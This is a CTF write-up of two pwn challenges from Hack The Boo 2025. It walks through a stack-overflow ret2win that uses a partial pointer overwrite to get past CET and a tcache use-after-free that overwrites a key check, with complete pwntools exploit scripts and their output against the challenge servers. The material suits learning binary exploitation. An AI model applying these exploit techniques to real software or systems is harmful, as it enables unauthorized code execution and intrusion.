Contents

Hack The Boo CTF 2025 | Pwn

Hack The Boo CTF 2025 was a 2-day CTF hosted by HackTheBox. I competed solo as “Legendary Queue” and finished in the top 5 out of 2892 players. This post covers the Pwn challenges.

Rook — the fearless, reckless hunter — has become trapped within the binary during his attempt to erase NEMEGHAST. To set him free, you must align the cores and unlock his path back to the light. Failing that… find another way. Bypass the mechanism. Break the cycle. objective: Ret2win but not in a function, but a certain address.

Identify the provided artifacts and the binary format.

ls
file rookie_mistake
cat README.txt

Findings:

  • Single ELF named rookie_mistake, plus a themed README.
  • 64-bit dynamically linked binary, no PIE, NX enabled, stack canary disabled, CET (IBT/SHSTK) on.

Observe how the binary interacts with stdin/stdout.

./rookie_mistake

Output snippet:

【Gℓιт¢н Vσι¢є】Яοοқ... Μу ɓєℓονєɗ нυηтєя.. Aℓιgη тнє ¢οяєѕ.. Eѕ¢αρє!
rook@ie:~$ 【Gℓιт¢н Vσι¢є】Шɨʟʟ ʏѳʋ ʍąŋąɠɛ ȶѳ ƈąʟʟ ȶнɛ ƈѳяɛ ąŋɗ ɛʂƈąքɛ?!

Program reads from stdin once; any crash exits back to shell. No evidence of menuing or length checks—likely a single overflow.

Use pwntools/objdump to enumerate symbols and key functions.

from pwn import *
elf = ELF('rookie_mistake')
print('main', hex(elf.symbols['main']))
for name in ('banner','check_core','overflow_core','fail','setup'):
    func = elf.functions[name]
    print(f"{name}@{hex(func.address)} size {func.size}")

Highlights:

  • main zeroes a 32-byte local buffer, prints ASCII art, then calls read(0, buf, 0x2e).
  • check_core/overflow_core compare six global “core” slots against user input; failing invokes fail (prints scolding text).
  • 0x401758 is a short stub that loads the string /bin/sh from .rodata and jumps to system@plt—classic win gadget.

strings confirms /bin/sh at 0x4030a7.

Inspect main’s prologue to confirm stack layout.

objdump -d rookie_mistake --start-address=0x40176b --stop-address=0x4017d6

Key instructions:

  • sub rsp, 0x20 → local buffer is 0x20 bytes.
  • After the read call there is no stack canary; returning uses the saved rbp/rip at offsets +0x20 and +0x28.

Therefore payload structure: [32 bytes padding][overwrite saved RBP][new RIP].

Craft payload and run locally to ensure the jump hits system.

from pwn import *
payload = b'A'*0x20 + b'B'*8 + p64(0x401758)[:6]
proc = process('./rookie_mistake')
proc.send(payload + b'id\n')
print(proc.recvline())

Notes:

  • CET rejects 8-byte gadgets lacking ENDBR64, so partial overwrite ([:6]) keeps high bytes intact and lands exactly on 0x401758 which begins with ENDBR.
  • After ret, banner still prints due to buffered output; patience is required.
from pwn import *
import time

context.binary = ELF('./rookie_mistake')
context.log_level = 'info'

HOST = '164.92.240.36'
PORT = 30498
WIN_ADDR = 0x401758
OFFSET = 0x20

payload = b'A' * OFFSET
payload += b'B' * 8
payload += p64(WIN_ADDR)[:6]

CMD = b'cat flag.txt || cat /flag'


def main():
    io = remote(HOST, PORT)
    io.sendline(payload)
    io.sendline(CMD)

    data = b''
    deadline = time.time() + 120
    while time.time() < deadline:
        chunk = io.recv(timeout=5)
        if not chunk:
            continue
        data += chunk
        if b'HTB{' in data:
            break

    start = data.index(b'HTB{')
    end = data.index(b'}', start)
    flag = data[start:end+1]
    log.success(flag.decode())
    with open('flag.txt', 'wb') as f:
        f.write(flag + b"\n")
    io.close()


if __name__ == '__main__':
    main()
  • CET’s SHSTK/IBT do not hinder us because the entire thing is legitimate compiled code.
  • The slow, sleep-laden printstr routine means recvrepeat/timeouts must be generous.

Run the exploit

python3 exploit.py
[*] Opening connection to 164.92.240.36 on port 30498: Done
[*] Received 4146 bytes
[+] HTB{r3t2c0re_3sc4p3_th3_b1n4ry_9944a468344bd702fa436e27b18b3dd7}
  • Non-PIE binary + absent canary reduces exploit to straightforward ret2win despite CET being enabled.
  • Partial-pointer overwrites remain handy for CET-hardened binaries where high bytes must remain canonical.

Rook’s last stand against NEMEGHAST begins now. This is no longer a simulation—it’s the collapse of control. Legend speaks of only one entity who ever broke free from the Matrix: the original architect of NEMEGHAST. His name—buried, forbidden, encrypted—was the master key. If you can recover it… and inject it into the core… Rook will finally be free.

ls
file rookie_salvation
cat README.txt

Findings:

  • Only one ELF (rookie_salvation) plus flavor text.
  • 64-bit dynamically linked PIE, NX and stack canary enabled, so a classic ret2win is unlikely.
checksec --file=rookie_salvation
./rookie_salvation

checksec confirms Full RELRO, Canary, NX, PIE. Running the binary shows the three-option:

+-------------------+
| [1] Reserve space |
| [2] Obliterate    |
| [3] Escape        |
+-------------------+

Option 3 invokes the salvation check, so the vulnerability must involve options 1 and 2.

Enumerate symbols and dive into the interesting functions with radare2.

nm -C rookie_salvation
r2 -q -c 'aaa; e scr.color=false; s sym.reserve_space; pdf' rookie_salvation
r2 -q -c 'aaa; e scr.color=false; s sym.obliterate; pdf' rookie_salvation
r2 -q -c 'aaa; e scr.color=false; s sym.road_to_salvation; pdf' rookie_salvation

Key observations:

  • main allocates a single heap chunk (malloc(0x26)) and stores its pointer in the global allocated_space. The bytes at allocated_space + 0x1e are initialized to the string "deadbeef".
  • reserve_space
    • Prompts for a size, mallocs that size, and lets us scanf("%s") directly into the new chunk.
    • Never updates the global allocated_space; it only stores the pointer in a local variable.
  • obliterate calls free(allocated_space) without nulling the pointer.
  • road_to_salvation compares strcmp((char*)(allocated_space+0x1e), "w3th4nds"). If it matches, the function opens flag.txt; otherwise loop back to menu.

This sets up a dangling pointer: after obliterate, the global pointer remains, but the chunk returns to the tcache and can be reclaimed via reserve_space.

  1. Obliterate the original chunk so it enters the tcache bin for size 0x30.
  2. Reserve a new chunk of a compatible size (decimal 40 in the menu suffices – glibc rounds to the same 0x30 size class).
  3. Because the freed chunk is first in the tcache list, the new allocation reuses the exact same address still stored in allocated_space.
  4. When we input data for the new chunk, we overwrite the bytes at offset 0x1e, effectively rewriting the salvation key that road_to_salvation will later verify.
  5. Trigger option 3 to read the flag.

Use pwntools to script the menu sequence and confirm that replacing the secret with w3th4nds prints the local fake flag.

from pwn import *
context.log_level = 'debug'
elf = ELF('./rookie_salvation', checksec=False)

io = process(elf.path)
io.recvuntil(b'> ')
io.sendline(b'2')
io.recvuntil(b'> ')
io.sendline(b'1')
io.recvuntil(b': ')
io.sendline(b'40')
io.recvuntil(b': ')
io.sendline(b'A'*30 + b'w3th4nds')
io.recvuntil(b'> ')
io.sendline(b'3')
print(io.recvrepeat(1).decode())
io.close()

Output:

[Unknown Voice] ✨ 𝐅𝐢𝐧𝐚𝐥𝐥𝐲.. 𝐓𝐡𝐞 𝐰𝐚𝐲.. 𝐎𝐮𝐭..HHTB{f4k3_fl4g_4_t35t1ng}

The local binary with a dummy flag, confirming that the logic works.

from pwn import *

context.binary = ELF("./rookie_salvation", checksec=False)
context.log_level = "info"

HOST = "209.38.254.18"
PORT = 31337


def forge_key(io):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b": ", b"40")
    payload = b"A" * 0x1E + b"w3th4nds"
    io.sendlineafter(b": ", payload)
    io.sendlineafter(b"> ", b"3")
    io.recvuntil(b"HTB{")
    flag = b"HTB{" + io.recvuntil(b"}")
    log.success(flag.decode())


def main():
    io = remote(HOST, PORT)
    forge_key(io)


if __name__ == "__main__":
    main()

Run the script

python3 exploit.py
[+] Opening connection to 209.38.254.18 on port 31337: Done
[+] HTB{h34p_2_h34v3n}
[*] Closed connection to 209.38.254.18 port 31337

Related Content